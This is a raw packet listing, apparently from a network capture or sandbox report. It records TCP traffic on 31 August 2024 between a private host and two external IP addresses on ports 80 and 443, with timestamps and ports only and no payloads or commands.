Aug 31, 2024 19:25:02.514187098 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.519294977 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.519306898 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.519341946 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.519432068 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.519443989 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.519453049 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.519474983 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.519500971 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.524842978 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.524856091 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.524869919 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.524882078 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.524903059 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.524904013 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.524935007 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.530718088 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.530730009 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.530741930 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.530754089 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.530765057 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.530782938 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.530782938 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.537255049 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.537267923 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.537276983 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.537286997 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.537297010 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.537327051 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.537363052 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.542256117 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.542265892 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.542275906 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.542287111 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.542299032 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.542310953 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.547442913 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.547454119 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.547463894 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.547503948 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.547523022 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.547548056 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.547559977 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.547600985 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.547610998 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.552660942 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.552673101 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.552711010 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.552968025 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.552978992 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.553015947 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.558339119 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.558348894 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.558374882 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.558382988 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.558538914 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.558551073 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.558559895 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.558579922 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.558602095 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.564013004 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.564023972 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.564071894 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.564498901 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.564508915 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.564543962 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.568768024 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.568778992 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.568809032 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.568819046 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.569273949 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.569286108 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.569295883 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.569318056 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.569370985 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.573754072 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.573765039 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.573800087 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.574203014 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.574213028 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.574311018 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.574311018 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.578855991 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.578866005 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.578906059 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.578915119 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.579410076 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.579421043 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.579454899 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.583637953 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.583648920 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.583657026 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.583690882 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.583709955 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.584198952 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.584209919 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.584256887 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:02.588470936 CEST	80	49163	23.94.148.16	192.168.2.22
Aug 31, 2024 19:25:02.588519096 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:03.117755890 CEST	49163	80	192.168.2.22	23.94.148.16
Aug 31, 2024 19:25:06.421279907 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:06.421312094 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:06.421372890 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:06.426579952 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:06.426594973 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.046070099 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.046156883 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.081893921 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.081908941 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.082197905 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.144438028 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.188500881 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.376357079 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.376386881 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.376394033 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.376416922 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.376426935 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.376435041 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.376456976 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.376463890 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.376473904 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.376499891 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.402952909 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.404829979 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.404860020 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.404889107 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.404905081 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.404927969 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.433147907 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.447926044 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.447952986 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.448122025 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.448122025 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.448129892 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.453984976 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.494575024 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.494599104 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.494636059 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.494646072 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.494656086 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.495359898 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.499985933 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.500014067 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.500113964 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.500121117 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.501817942 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.536803961 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.536828995 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.536854982 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.536861897 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.536884069 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.551001072 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.559107065 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.559129953 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.559166908 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.559174061 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.559186935 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.561716080 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.585592985 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.585614920 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.585655928 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.585663080 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.585673094 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.587268114 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.589834929 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.589863062 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.589890003 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.589898109 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.589909077 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.593585968 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.593609095 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.593637943 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.593646049 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.593656063 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.597090006 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.597119093 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.597147942 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.597155094 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.597166061 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.597246885 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.627510071 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.627533913 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.627557993 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.627568960 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.627579927 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.627645016 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.630975962 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.631010056 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.631020069 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.631025076 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.631058931 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.631097078 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.650378942 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.650403976 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.650430918 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.650437117 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.650451899 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.651359081 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.655080080 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.655103922 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.655131102 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.655137062 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.655148029 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.658725023 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.677599907 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.677623034 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.677665949 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.677670956 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.677680969 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.677777052 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.681124926 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.681148052 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.681173086 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.681180000 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.681189060 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.681233883 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.684503078 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.684529066 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.684560061 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.684566975 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.684578896 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.684617043 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.687342882 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.687369108 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.687390089 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.687406063 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.687411070 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.687915087 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.718930006 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.718955994 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.718996048 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.719003916 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.719012976 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.719171047 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.721540928 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.721574068 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.721596003 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.721602917 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.721613884 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.742669106 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.742696047 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.742722034 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.742729902 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.742742062 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.742840052 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.745495081 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.745518923 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.745547056 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.745553970 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.745570898 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.754631042 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.768188000 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.768212080 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.768238068 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.768244028 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.768265963 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.771151066 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.771178961 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.771203041 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.771209002 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.771229982 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.773952007 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.773974895 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.774000883 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.774007082 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.774100065 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.779493093 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.779520988 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.779546976 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.779553890 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.779573917 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.809777021 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.809799910 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.809839010 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.809848070 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.809860945 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.811876059 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.811903000 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.811932087 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.811937094 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.811954021 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.834592104 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.834614992 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.834640026 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.834647894 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.834662914 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.837435007 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.837460041 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.837482929 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.837490082 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.837507963 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.861593008 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.861614943 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.861639023 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.861650944 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.861660957 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.865201950 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.865230083 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.865253925 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.865261078 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.865276098 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.867064953 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.867099047 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.867120028 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.867126942 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.867145061 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.869725943 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.869750977 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.869770050 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.869776011 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.869796038 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.900743008 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.900777102 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.900801897 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.900810003 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.900826931 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.903454065 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.903480053 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.903506041 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.903512001 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.903522015 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.925911903 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.925935030 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.925977945 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.925995111 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.926023006 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.951426983 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.951457977 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.951483011 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.951500893 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.951510906 CEST	49164	443	192.168.2.22	207.241.232.154
Aug 31, 2024 19:25:07.953907967 CEST	443	49164	207.241.232.154	192.168.2.22
Aug 31, 2024 19:25:07.953932047 CEST	443	49164	207.241.232.154	192.168.2.22
